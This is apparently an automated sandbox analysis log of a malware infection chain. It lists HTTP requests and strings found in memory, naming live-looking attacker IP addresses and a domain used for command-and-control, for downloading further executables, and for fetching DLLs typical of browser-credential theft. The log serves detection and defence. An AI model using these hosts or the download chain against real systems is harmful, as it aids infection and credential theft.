Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unik.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.72.65Connection: Keep-AliveCache-Control: no-cache

Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentykm20sr.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2547900697.0000000000C05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubl
Source: unik.exe, 00000022.00000002.2547900697.0000000000C05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubsVF:
Source: unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/download
Source: unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/download&
Source: unik.exe, 00000022.00000002.2557001489.00000000053B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/downloadn9
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2557001489.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/key
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/key2_
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/keyY
Source: unik.exe, 00000022.00000002.2557001489.0000000005433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/dll/keyn2
Source: unik.exe, 00000022.00000002.2547900697.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/files/download
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/files/download65/files/download
Source: unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/files/downloadR
Source: unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/files/downloadX
Source: unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.72.65/files/downloadt
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/0ac02b4ded8abeee1fbd97e9c4543b31de15441#
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/6122658-3693405117-2476756634-1003
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe009636001
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe1
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe3
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe450_v2
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe62384
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exedp
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exedv
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehdw
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehpe
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencoded
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exerlencodeda
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllF
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll~
Source: file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8a
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ata
Source: file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206dF;
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2547808242.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpLz
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeEv(
Source: skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeu
Source: skotes.exe, 00000020.00000002.2547808242.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unik.exe
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPP737
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737http://home.twentykm20sr.top/iYUeIWtRvzKH
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.1842128297.000000001D825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1850866444.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: KEBKJDBA.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: d6cd01c3-3d63-48d1-80b7-bed7f7a23ac9.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.cn/
